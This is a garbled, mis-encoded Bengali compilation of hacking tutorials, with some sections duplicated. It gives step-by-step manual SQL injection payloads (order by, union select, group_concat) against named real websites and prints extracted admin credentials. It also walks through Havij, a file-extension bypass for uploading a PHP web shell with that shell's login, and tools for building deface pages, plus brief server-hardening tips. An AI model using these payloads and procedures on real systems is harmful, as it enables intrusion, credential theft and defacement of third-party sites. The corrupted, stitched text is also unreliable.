৬ এফায অনায সর নাভটি খচছজ সফয করন সম নাচছভ সর উচছরাড কচছযকতছচছরন
১এখন কতিক করন 47phpjpgচছয কতিক করণ
২ Reply ফাটন
৭তাযয নতন একটি উআচছনডাজ খরচছফ সটি চছফ ২ ফকস এয অভযা কাজ কযফ ২ নামবায ফকস এয কতনচছচযটিচছত
৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক
২ Reply ফাটন
এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ
এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ
wwwsitecomgallery37473jpg
এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php
এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ
Video Tutorial
httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube
কতরচছখচছছনঃ ফারক িঅহমমদ
কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা
--==DefacePage Generator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন
১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r
২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন
সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif
৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন
এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave
as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files
কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml
--==Advance Deface Page Creator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
Tutorial -
পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন
এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ
এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ
এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন
Add Homepage title and texts এ কতিক করন
এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন
সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন
সরখা সল চছর চছক কচছয কতদন
এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন
সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html
--==অকতনমকতদ HTML াচছযন==--
অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন
Collection -bcaware
httpwwwtunerpagecomarchives78980
httpwwwtunerpagecomarchives98804
httpwwwtunerpagecomarchives219088
httpwwwtunerpagecomarchives224434
---------------------------------------------------------------------------------------
---------------------------------------------------------------------------------
1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ
2 Collection of Important Programming Languages E-books
httpwwwfacebookcomdownload290805637728289Collection20of20Important2
0Programming20Languages20Erar
3 Collection of best SQL injection Tools
পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ
অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন
পারক অচছভদ
wwwfacebookcommdfaroqueahmed
Mystrious Tusin
wwwfacebookcomcyb3rc0d3
সকান সকান সাটব গচছরা চছন যাখা জরকতয তা সজচছন কতনন মথা পরচছযাজনীয সাটব সখারা সযচছখ ঝাচছভরা ফািাচছফন না
অনায সকান সকান াবব ায সাটব সখারা যাখা উকতচত তা সজচছন কতনচছত ভাআচছকরাপট এয Microsoft Knowledge Base (KB)
অটিব চছকর 150543 চছত সজচছন কতনন
httpsupportmicrosoftcomdefaultaspxscid=kben-us150543ampsd=tech
াচছযটিং কতচছেভ এয কতডপি কতকযকতযটি সথচছক চছফবারচ পাযদা কতনন
উআচছনডাজ াচছযটিং কতচছেভ ফযফায কযচছর কতচছেভ পাআর সচকতকং [ System File Checking ( SFC) ]
এফং আনটাযচছনট কাচছনকন পাযাযযার [ Internet Connection Firewall ( IFC ) ] এনাচছফর কচছয কতনন এগচছরা কতকনত কতডপি বাচছফ কতডজযাচছফর কযা থাচছক
এগচছরা অনায াবব ায কতচছেভ এয কতপিাকতযং াযপচছভবনস ঠাৎ কচছয ফহগন ফাকতিচছয কতদচছফ
কাচছনকটিকতবটি ককতভচছয কতদন
অনায াবব ায এয াচছথ সমাগাচছমাগ ফা কাচছনকন সথান কযায জনয খফ কতনকতদব ি কতকছ সাটব কতচছরকট কচছয কতদন মাচছত কচছয াবব ায
এফং কাচছনকটিং কতচছেভ দচছটাযআ পাযাযযার িণব ফযাায তা ধযচছত াচছয উদাযণ সবর HTTP SMTP FTP IMAP
এফং POP সাটব গচছরা কতচছরকট করন অনায াবব ায এয াচছথ কাচছনকন এয জনয কতনযধাকতযত সাটব গচছরা
এগচছরা চছনক যকতকষত এফং কতনকতশচত icon smile
পাযাযযার ফযফায করন
উআচছনডাজ এয পাযাযযার মচছথি বার কতকনত মবাি বার না এয জনয অকতন নয পাযায যার ফযফায কচছয সদখচছত াচছযন
এচছত কচছয আনফাউনড অউটফাউনড ফ ধযচছনয কাচছনকন এয উয খফ চছজআ অকতন সচাখ যাখচছত াযচছফন
এফং অনায কতচছেভ াবব ায যকষা সফচছি মাচছফ চছনক গচছন কতগর বার পাযাযযার এয ঠিকানা অকতভ এখাচছন কতদচছয কতদকতে সদচছখ কতনন
httpwwwsymanteccomindexjsp httpwwwsymanteccomindexjsp httpwwwzonealarmcom httpwwwcomodocom
এছািা DoS DDoS attack রযন এয াাময সনযা মায সমভন RioRey
সািটি - pirate_king এফং শভর অকাgtgtgtgtgtএয সাে সথচছক একতডট কযা চছযচছছ
heartsheartshearts Havij
SQLi টিউমটাসরো heartsheartshearts
Download
Havij 15 Pro httpwwwmediafirecoms7a89dxmfwxcyij
পরথচছভ GoogleCom এ মান
এফায কতনচছচয গগর ডকটি কতরচছখ াচব কতদন
inurlphpid=
তাচছর চছনকগচছরা পরাপর সদখাচছফ
এখাচছন চছনক Dork াচছফন httppastebincomDvnHxg7i
সদখন পরাপর সদখাচছে ldquoপরায 2010000000টি পরাপর(023 সচছকনড) rdquo
এফায সম সকান একটি াআচছট পরচছফ করন
এছািা অকতন সম সকান াআট ধযচছত াযচছফন সম ফ াআচছটয য phpid= অচছছ সআ ফ াআচছট াযচছফন সমভনঃ
httpwwwpaulprescottcomthemephpid=10
অভযা এআ াআটটিচছক টাচছগবট কযরাভ
এফায অনায টাচছগবট কযা াআচছটয কতরংচছকয সচছল সদচছখন এভন একটা অচছছ ID=XX এখাচছন XX এয জাযগায সমচছকান নং অচছছ সমভন অভায এখাচছন অচছছ ID=10
এফাযয এআ কতরংচছকয সচছল একটা ( lsquo ) রাগান
এফায এনটায কতদন
এফায মকতদ উচছযয ভচছতা Error সদখায তাচছর ফঝচছফন সম াআটটিচছত inject কযা মাচছফ
এফায ldquoHavijrdquo টরটা চছন করন তাচছর কতনচছচয ভচছতা অচছফ
এফায Error াযা াআটিয কতরংকটি এখাচছন সদন ldquoAnalyzerdquo ফাটচছন কতিক করন (উচছযয কতচতরটি সদখন) এফায কতকছকষণ চছকষা করন তাচছর টরটি চছযফাআটটি যীকষা কযচছফ
মকতদ কাজ য তাচছর এআ যকভ ভযাচছজ কতদচছফ
Current DB XXXX
কতনচছচয ছকতফটি সদখন
এফায ―Tables tab এ মান
এফায ―Get DBlsquos এ কতিক করন
এফায ফাভাচছয যাচছনচছর সদখন ২টা ডযাি পাআর াযা সগচছছ ―paul_third ―information_schema
দটা পাআর
―information_schema অনায ধযায দযকায নাআ এখাচছন MySQL তথয থাচছক
শধ ভাতর ―paul_third কতচছরকট করন
এফায ―Get Tables এ কতিক করন
তাচছর অকতন সটকতফচছরয ডযাি পাআরগচছরা সচছয মাচছফন
এখন অভযা administration panel টি যাক কযচছত সচিা কযফ
এখন ―admin table টি সচক করন
এখাচছন ভাতর ১ জনআ আউজায াচছফন মকতদ অকতন সকান আউজায না ান তাচছর অকতন এখাচছন যাক কযচছত াযচছফন না
এফায ―Get Columns ফাটচছন কতিক করন
তাচছর কতনচছচয ভচছতা অচছফ
এখাচছন ―id ―username ( সম Username কতদচছয চছযফাআচছট রগআন কচছয ) ―password ( সম Password কতদচছয চছযফাআচছট রগআন কচছয) ―email (এডকতভন সম সম আচছভআর কতদচছয সযকতজঃ কচছযচছছ কাজ কচছয)
এফায ―Get Data টযাচছফ কতিক করন
তাচছর টরটি অনাচছক Username Password আচছভআচছরয তথযগচছরা সদখাচছফ
অফায ―Find Admin টযাচছফ কতিক করন
তাচছর এটি অনাচছক Administration Panel login সদকতখচছয সদচছফ
এফায অকতন অনায কতবকটিচছভয চছযফাআটিয নাভ টাআ করন administration panel সফয কযায জনয
তচছফ ভচছন যাখচছফনphpid=XX অফায রাগাচছযন না
ldquoPath to Searchrdquo ফচছকস িণব URL টি কতরখচছফন
এফায ldquoStartrdquo ফাটচছন কতিক করন তাচছর অনাচছক Administration Panel login page টা সদখাচছফ
তাচছর অভযা Administration Panel সরাভ
এফায administration panel login সচছজ মান অচছগয াযা আউজায অআকতড াযাডব কতদচছয এডকতভন সজ রগআন করন
মপাষটটি সমেমেি -িসিববাসিত টিউিারtrade
সকান পটযযায ছািা SQL INJECT কচছয অনাচছদয বানবাফর াআট রাআব যাক কযা কতখাচছফা
তাচছর কথা না ফাকতযচছয শর ককতয
পরথচছভ SQL INJECT কযায জনয অভাচছদয বানবাফর াআট খজচছত চছফ
এয জনয অভযা dork use কযফ
inurlindexphpid= inurltrainersphpid=
inurlbuyphpcategory= inurlarticlephpID=
inurlplay_oldphpid= inurldeclaration_morephpdecl_id=
inurlPageid= inurlgamesphpid=
inurlpagephpfile= inurlnewsDetailphpid=
inurlgalleryphpid=
এআ খাচছন কতকছ dork অচছছ sql বানবাফর াআট খজায জনয
8500 SQL dorks list
httppastebincomdzknXjgP or
httppastebincomayV6tNS2
পরথভ এ একটা dork কতনচছয অভযাwwwgooglecom এ SEARCH কতদফ
inurlnews-and-eventsphpid=
এআ dork কতদযা SEARCH কতদচছয অকতভ চছনক াআট সদখরাভ সখান সথচছক অকতভ একটা াআট কতনরাভ
সমভন httpwwweastodissaacinnews-and-eventsphpid=22
ছকতফঃ
পরথচছভ SQL INJECT কযায জনয াআচছটয ID সবরয খজচছত য
এযয অনাচছক সদখচছত চছফ াআট টি injectable কতকনা
এয জনয অনাচছক url এয সচছল একটি lsquo ফাচছত চছফ
httpwwweastodissaacinnews-and-eventsphpid=22
মকতদ ডাটাচছফচছজয কতকছ কতভকতং অচছ ফা সচছজয কতকছ আযয অচছ তাচছর ফঝচছফন াআট টি injectable
সমভন ldquoYou have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the
right syntax to use near rdquorsquo at line 1Prime
ছকতফঃ
এখন injectable াআচছট inject কযায জনয অনাচছক পরথচছভ ডাটাচছফচছজয করাভ সফয কযচছত চছফ
এখাচছন অভাচছদয বানবাফর াআট
httpwwweastodissaacinnews-and-eventsphpid=22
মাআ সাক অভাচছদয ডাটাচছফচছজয করাভ সফয কযচছত চছর +order+by+ কভানড কতদচছত চছফ
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+
এখন + এয সচছল অনাচছক 1 সথচছক শর কচছয তত মবনত সচিা কযচছত চছফ
এখন 1 কতনচছয সদচছখন
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+1--
না তাচছর াআচছট সকাচছনা ডাটা কতভ কযচছতচছছ না
অফায 2 কতদচছয সচিা ককতয
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+2--
ছকতফঃ
না এফায ডাটা কতভ কযচছতচছছ না
এফাচছফ 345 কচছয 7 মবনত সগরাভ
8 এ সগচছর চছযা াআট SQL আযয সদখায
(চছনক ভয সদখা মায
wwwsitecomindexphpid=1 order 999ndash [ no error ]
থবাৎ order by 999 কতদচছর সকান error সদখায না
এচছকষচছতর mdash এয য + এফং id=1 এয য lsquo sign কতদচছত চছফ
তাচছর িণব কতরেটি চছফ
wwwsitecomindexphpid=1prime order by 999ndash+
এফায সচছজ error সদখাচছফ
ফাকতক ংগচছরা াধাযন SQL Injection এয ভতআ চছফ )
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+8--
ছকতফঃ
আযয এযকচছভয চছত াচছয
Could not connect to MySQL server Unknown column rsquo8prime in lsquoorder clausersquo
থবাৎ এআ াআচছটয ডাটাচছফচছজয করাভ 7 টি
এখন অভাচছদয সদখচছত চছফ এআ 7 টা করাচছভয সবতয বানবাফর সকানটি এয জনয অভাচছদয অফায কভানড ফযফায কযচছত চছফ
কভানড টি
+union+select+1234567--
তাচছর কতরংক টি দািাচছফ
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1234567--
ছকতফঃ
( উচছেখ এখাচছন news-and-eventsphpid= এয য একটি ndash সদযা চছযচছছ (
এখন অকতন বানবাফর করাভ সদখচছত াচছফন
এআ াআচছটয বানবাফর করাভ 23সদখাচছফ
এখাচছন অভযা 2 নমবয করাভ কতনচছয কাজ কযচছফা
এখন অভযা বানবাফর করাচছভয বাবন সফয কযচছফা
এয জনয অনাচছক অফায একটি কভানড ফযফায কযচছত চছফ
এখন অচছগয কতরংচছক শধ 2 এয জাযগায versionকতদচছত চছফ
তাচছর কতরংক টি দািায
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1version34567--
ছকতফঃ
এআ কতরংচছক সগচছর অভযা বাবন সদখচছত াচছফা
এটায বাবন 5168-community
বাবন 5 এয কতনচছচ াআট গচছরা চছফ না তা ফাদ কতদচছয নযগচছরা াআট inject কযচছত সচিা কযচছফন
এখন অভযা অচছযকটি কভানড ফযফায কচছয সটকতফর সফয কযফ
এচছকষচছতর বানবাফর করাচছভয ফদচছর group_concat(table_name) কভানড কতদচছফা এফং সল করাচছভয য
+from+information_schematables+where+table_schema=database()-- কভানড কতদচছফা
তাচছর কতরংকটি দািাচছরা
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1group_concat(table_name)34567+from+information_schematables+where+table_schem
a=database()--
কতরংচছক সগচছর অকতন কতকছ সটকতফর সদখচছত াচছফন
ছকতফঃ
এআ াআচছটয সটকতফর গচছরা র
est_achievementest_adminest_adminlogest_companyrecordest_facprofileest_newsest_noticeest_onlineapplicatio
nest_placementrecord
এখন এখান সথচছক এডকতভন সটকতফর সফয কযচছত চছফ
এচছকষচছতর অনাচছক একট ফকতি খাটাচছত চছফ সমভন এখাচছন est_achievement est_companyrecord এয এডকতভন সটকতফর চছফ না ফঝা মায
একভাতর est_admin এডকতভন সটকতফর ভচছন য
ধচছয কতনচছত না াযচছর ফা বর ধযচছর ভাযা সনআ
কভাচছনডয ভাধযচছভ সফয কযচছত চছফ এচছকষচছতর অনাচছক বানবাফর াআচছটয ফদচছর group_concat(column_name) কভানড কতদচছত চছফ
এফং সল করাচছভয য +from information_schemacolumns where table_name= এয য অনায ধচছয সনযা এডকতভন সটকতফচছরয CHAR রানতয কতদচছত চছফ
এআ কতরংক সথচছক এডন টি ডাউনচছরাড কচছয আনসটর কচছযন পাযাযপকস বরাউজায
httpsaddonsmozillaorgen-USfirefoxaddonhackbar
এখন যাকফায টি চছন কচছযন F9 সচচছ
এফায SQLgtMySQLgtMySQL CHAR() কতিক কচছযন
ছকতফঃ
নতন একটা ফকস অচছফন সখাচছন যাডকতভন সটকতফর টি কতদচছয ok কতদন
ছকতফঃ
এখাচছন est_admin সক CHAR রানতয কযচছর য CHAR(101 115 116 95 97 100 109 105 110)
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=-
22+union+select+1group_concat(column_name)34567+from+information_schemacolumns+where+table_name=CH
AR(101 115 116 95 97 100 109 105 110)--
ছকতফঃ
অকতন এডকতভন সটকতফর ধাযনা না কযচছত াযচছর অকতন = এয য নযানয সটকতফচছরয সকস রানতয কতদচছয সচিা কযচছফন
সমচছত অভযা ফচছঝকতছ est_admin এডকতভন সটকতফর এয CHAR রানতয কতদচছয কতরংচছক কতগচছয অভযা সরাভ কতকছ এডকতভন করাভ
uiduseridpasswordemailidsignaturelast_login
এখন অভযা এডকতভন করাভ সথচছক াআচছট রকতগচছনয জনয আউজাযচছভভ অয াযাডব সফয কযচছফা
এজনয অভাচছদয সল কভানড ফযফায কযচছত চছফ
এজনয অভাচছদয বানবফর করাচছভয ফদচছর group_concat(login0x3aPass0x3a) কভানড কতদচছফা
সমচছত অভযা এডকতভন করাচছভ userId সচছযকতছ তা login এয ফদচছর কভাচছনড userId কতরখচছফা অকতন নয াআচছট নয কতকছ সচছত াচছযন
করাভ কতচছচছফ অনাচছক কভানড কযচছত চছফ
এবক বাচছফ কভাচছনড Pass এয ফদচছর password ফযফায কযচছত চছফ
এফং সল করাচছভয য +from+est_admin-- ফাচছত চছফ
+from+ এয য est_admin কতদরাভ কাযন এখাচছন এডকতভন সটকতফর est_admin
তাচছর কতরংক টি দািায
httpwwweastodissaacinnews-and-eventsphpid=-
22+union+select+1group_concat(userId0x3apassword0x3a)34567+from+est_admin--
ছকতফঃ
সদখচছফন অকতন আউজাযচছনভ সচছয মাচছফন
এখাচছন আউজাযচছভভ াযাডব চছে trustadministi$$952013
আউজাযচছভভ trustadmin
াযাডব isti$$952013
এখন সল কাজ চছে এডকতভন সচছনর সফয কযা
এয জনয অনাচছক সকাচছনা ফটযায ফা এডকতভন পাআনডায াআট ফযফায কযচছত চছফ
মাযা সভাফাআর কতদচছয যাকতকং কচছযন তাযা এডকতভন যাচছনর সখাজায জনয এআ াআট টি ফযফায কযচছত াচছযন
-httpscansubhashdasyamcomadmin-panel-finderphp
অয মাযা কতকত সত কাজ কযচছফন তাযা havij ফযফায কযচছফন এডকতভন যাচছনর সখাজায জনয
অয MD5 যা বাঙচছত wwwmd5decryptercuuk এটি ফযফায কযচছফন
তাযচছয ফজচছত ভযা চছর কতনচছচয কতবকতড টি সদখন
httpwwwyoutubecomwatchv=QuW_rSQ5_W0ampfeature=youtube_gdata_player
কতফদরঃ সােটি শধ কতখায জনয কায কষকতত কযচছফন না ফাংরাচছদচছয সকান াআট যাক কযচছফন না
অনায সকান ভযায জনয সরখক যাকতকং জগৎ গর দাকতয থাকচছফ না
কতরচছখচছছনঃ ফারক িঅহমমদ
অজচছক অকতভ অনাচছদয সদখাফ কতকবাচছফ shell উচছরাড কযচছত য LiveHTTPHeaders কতদচছয কতরচছখচছছনঃ ফারক িঅহমমদ
াগমবিঃ
Mozilla Firox ভকতজরা পাযাযপকস
Live HTTP Headersএডন পাযাযপকস এয জনয ডাউনচছরাড করণ কতনচ সথচছক
httpsaddonsmozillaorgenfirefoxaddonlive-http-headers
shell সম সকান সর ফযফায কযচছত াচছযন
কতনচ সথচছক ডাউনচছরাড কচছযন i-47 shell
httpwwwpastebucketcom19852
or
wwwmediafirecom64fjdlvzo9zhrra
shell username and password
username I-47
password I-47
তাহম এেি শর কসর
১ িািআমট িযা সমি পযামি গিআি করার পর মযোমি ফািআ উপমা করা যাে তা েমজ মবর
করণ
২অানায সর নাভটা ফদচছর কতনন সমভনঃ 47phpjpg (াআচছট সম পযভযাচছট পাআর উচছরাড াচছাটব কচছয সমভনঃ অকতভ সম াআট এ পাআর উচছরাড কযকতছ সটাচছত jpg পাআর াচছাটব কচছয তাআ অকতভ নাভ কতদচছযকতছ 47phpjpg
৩ এফায বরাউজ ন সথচছক অনায সর টি সদকতখচছয কতদন তাযয Live HTTP Headers addon টি কতিক করন তাযয উচছরাড ফাটন এ কতিক করণ
৪ এখন অনায Live HTTP Headersটি এভন সদখচছত াচছফন
৫save click কচছযন
৬ এফায অনায সর নাভটি খচছজ সফয করন সম নাচছভ সর উচছরাড কচছযকতছচছরন
১এখন কতিক করন 47phpjpgচছয কতিক করণ
২ Reply ফাটন
৭তাযয নতন একটি উআচছনডাজ খরচছফ সটি চছফ ২ ফকস এয অভযা কাজ কযফ ২ নামবায ফকস এয কতনচছচযটিচছত
৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক
২ Reply ফাটন
এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ
এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ
wwwsitecomgallery37473jpg
এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php
এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ
Video Tutorial
httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube
কতরচছখচছছনঃ ফারক িঅহমমদ
কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা
--==DefacePage Generator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন
১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r
২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন
সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif
৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন
এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave
as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files
কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml
--==Advance Deface Page Creator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
Tutorial -
পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন
এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ
এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ
এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন
Add Homepage title and texts এ কতিক করন
এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন
সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন
সরখা সল চছর চছক কচছয কতদন
এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন
সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html
--==অকতনমকতদ HTML াচছযন==--
অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন
Collection -bcaware
httpwwwtunerpagecomarchives78980
httpwwwtunerpagecomarchives98804
httpwwwtunerpagecomarchives219088
httpwwwtunerpagecomarchives224434
---------------------------------------------------------------------------------------
---------------------------------------------------------------------------------
1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ
2 Collection of Important Programming Languages E-books
httpwwwfacebookcomdownload290805637728289Collection20of20Important2
0Programming20Languages20Erar
3 Collection of best SQL injection Tools
পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ
অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন
পারক অচছভদ
wwwfacebookcommdfaroqueahmed
Mystrious Tusin
wwwfacebookcomcyb3rc0d3
heartsheartshearts Havij
SQLi টিউমটাসরো heartsheartshearts
Download
Havij 15 Pro httpwwwmediafirecoms7a89dxmfwxcyij
পরথচছভ GoogleCom এ মান
এফায কতনচছচয গগর ডকটি কতরচছখ াচব কতদন
inurlphpid=
তাচছর চছনকগচছরা পরাপর সদখাচছফ
এখাচছন চছনক Dork াচছফন httppastebincomDvnHxg7i
সদখন পরাপর সদখাচছে ldquoপরায 2010000000টি পরাপর(023 সচছকনড) rdquo
এফায সম সকান একটি াআচছট পরচছফ করন
এছািা অকতন সম সকান াআট ধযচছত াযচছফন সম ফ াআচছটয য phpid= অচছছ সআ ফ াআচছট াযচছফন সমভনঃ
httpwwwpaulprescottcomthemephpid=10
অভযা এআ াআটটিচছক টাচছগবট কযরাভ
এফায অনায টাচছগবট কযা াআচছটয কতরংচছকয সচছল সদচছখন এভন একটা অচছছ ID=XX এখাচছন XX এয জাযগায সমচছকান নং অচছছ সমভন অভায এখাচছন অচছছ ID=10
এফাযয এআ কতরংচছকয সচছল একটা ( lsquo ) রাগান
এফায এনটায কতদন
এফায মকতদ উচছযয ভচছতা Error সদখায তাচছর ফঝচছফন সম াআটটিচছত inject কযা মাচছফ
এফায ldquoHavijrdquo টরটা চছন করন তাচছর কতনচছচয ভচছতা অচছফ
এফায Error াযা াআটিয কতরংকটি এখাচছন সদন ldquoAnalyzerdquo ফাটচছন কতিক করন (উচছযয কতচতরটি সদখন) এফায কতকছকষণ চছকষা করন তাচছর টরটি চছযফাআটটি যীকষা কযচছফ
মকতদ কাজ য তাচছর এআ যকভ ভযাচছজ কতদচছফ
Current DB XXXX
কতনচছচয ছকতফটি সদখন
এফায ―Tables tab এ মান
এফায ―Get DBlsquos এ কতিক করন
এফায ফাভাচছয যাচছনচছর সদখন ২টা ডযাি পাআর াযা সগচছছ ―paul_third ―information_schema
দটা পাআর
―information_schema অনায ধযায দযকায নাআ এখাচছন MySQL তথয থাচছক
